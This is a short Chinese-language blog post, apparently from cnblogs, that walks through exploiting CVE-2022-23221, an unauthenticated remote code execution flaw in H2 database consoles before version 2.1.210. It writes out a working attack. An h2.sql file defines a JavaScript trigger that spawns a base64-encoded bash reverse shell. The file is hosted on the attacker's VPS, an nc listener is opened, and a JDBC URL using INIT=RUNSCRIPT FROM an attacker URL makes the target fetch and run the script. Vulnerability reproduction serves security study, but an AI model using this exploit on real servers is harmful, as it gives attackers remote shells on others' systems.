h2database RCE(CVE-2022-23221)

描述:

Java SQL 数据库 H2。H2的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。
H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞,在 v2.1.210+ 中修复。2.1.210 之前的 H2 控制台允许远程攻击者通过包含 IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT 子字符串的 jdbc:h2:mem JDBC URL 执行任意代码

默认端口:20051

 参考链接:H2 database漏洞复现 - Running_J - 博客园

进入管理界面,注意以下部分更改:

javax.naming.InitialContext

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\

image

 连接成功创建数据库

image

 在本地创建一个数据库文件h2.sql(这里反弹shell的base64编码用自己的):

CREATE TABLE test (
     id INT NOT NULL
 );
CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,<反弹shell>}|{base64,-d}|{bash,-i}");';

在h2.sql同级目录下用python开启vps使得能够访问vps上的sql文件:

image

 开启nc监听反弹shell:

image

最后在登录连接界面url重新填写去访问我们的sql文件:

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://<IP:端口>/h2.sql';\

成功反弹shell

image

 

posted @ 2026-04-17 15:34  Morphoko  阅读(11)  评论(0)    收藏  举报